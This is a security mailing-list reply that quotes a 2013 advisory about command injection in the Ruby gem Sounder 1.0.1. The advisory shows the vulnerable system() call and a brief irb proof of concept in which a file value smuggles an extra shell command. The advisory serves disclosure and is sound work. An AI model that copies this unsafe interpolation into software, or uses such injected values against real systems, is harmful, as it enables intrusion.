Re: Command Injection in Ruby Gem Sounder 1.0.1

[Henri Salo <henri () nerv fi>]

On Wed, Aug 28, 2013 at 03:06:14AM +0000, Larry W. Cashdollar wrote:
> Title: Command Injection in Ruby Gem Sounder 1.0.1
>
> Date: 8/10/2013
> Author: Larry W. Cashdollar @_larry0
>
> Download: https://rubygems.org/gems/sounder
> CVE: TBD
> Description:
>
> Sounder is a ruby gem API for Mac OSX's afplay command.
> It passes user supplied data directly to command line.
>
> From lib/sounder/sound.rb:
>
>    def play
>      system %{/usr/bin/afplay "#{@file}" &}
>    end
>
> PoC:
>
> irb(main):098:0> @file = "\"id;/usr/bin/id>/tmp/p;\""
> => "\"id;/usr/bin/id>/tmp/p;\""
> irb(main):099:0>  system %{/bin/echo "#{@file}" }
> id
> sh: 1: : Permission denied
> => false
> irb(main):100:0>
>
> larry@underfl0w:/tmp$ cat /tmp/p
> uid=1000(larry) gid=600(staff) groups=600(user)
>
> Author Notified: 8/9/2013
> Advisory:  http://vapid.dhs.org/advisories/sounder-ruby-gem-cmd-inj.html

This was the CVE request (just to be clear).

---
Henri Salo

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